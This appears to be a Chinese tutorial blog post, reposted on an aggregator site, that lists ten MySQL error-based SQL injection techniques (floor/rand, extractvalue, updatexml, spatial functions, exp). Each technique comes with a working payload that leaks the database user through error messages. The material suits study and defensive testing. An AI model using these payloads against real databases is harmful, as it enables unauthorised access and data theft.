首页 > 其他 > 详细

报错注入

时间:2021-08-29 23:53:50      阅读:31      评论:0      收藏:0      [点我收藏+]

报错注入

     MySQL的基于C++编写的,函数可以参考C++函数

以下均摘自《代码审计:企业级Web代码安全架构》一书

1.floor():向下取整,返回小于等于该值的最大整数

      报错原理:如果不是整数就会报错

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

技术分享图片

2.extractvalue():MySQL5.1.5以上版本才支持

        从目标XML中返回包含所查询值的字符串,

        EXTRACTVALUE (XML_document, XPath_string);

        第一个参数:XML_document是String格式,为XML文档对象的名称
        第二个参数:XPath_string (Xpath格式的字符串)

        报错原理:一般在第二个参数输入需要查询的内容,只要不是xpath格式字符串就成

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

技术分享图片

3.updatexml():UPDATEXML (XML_document, XPath_string, new_value);

       第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

       第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

       第三个参数:new_value,String格式,替换查找到的符合条件的数据

         作用:改变文档中符合条件的节点的值

         报错原理:和上面的extractvalue()函数一样,只要改变传输的字符串不为xpath格式就行

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

技术分享图片

4.geometrycollection():5.5<MySQL版本<5.6

             空间函数:geometrycollection(point(10 10), point(30 30), linestring(15 15, 20 20))

           报错原理:MYSQL无法用这样字符串画出图形

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

技术分享图片

5.multipoint():地图函数:Multipoint (inputs, {spatial_reference}, {has_z}, {has_m})

       inputs:用于创建对象的坐标。数据类型可以是 Point 或 Array 对象。

       spatial_reference:新几何的空间参考。

       has_z:Z 状态:如果启用 Z,则为几何的 True,如果未启用,则为 False。(默认值为 False)

       has_m:M 状态:如果启用 M,则为几何的 True,如果未启用,则为 False。(默认值为 False)

       报错原理:和geometrycollection()报错原理一致

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

技术分享图片

6.polygon():地图函数:多边形

      第一个参数是点数组指针

      第二个参数是点的个数

      报错原理:和geometrycollection()报错原理一样

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

技术分享图片

7.multipolygon():地图函数:多边形集合,多个Polygon 实例的集合

        报错原理:和geometrycollection()报错原理一样

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

技术分享图片

8.linestring():地图函数:线函数

        报错原理:和geometrycollection()报错原理一样

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

技术分享图片

9.multilinestring():线集合函数

          报错原理:和geometrycollection()报错原理一样

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

技术分享图片

10.exp():指数函数

       报错类型:只能处理数字类型,输入字符型报错

select * from test where id=1 and exp(~(select * from(select user())a));

技术分享图片

 

报错注入

原文:https://www.cnblogs.com/ayheng/p/15196226.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!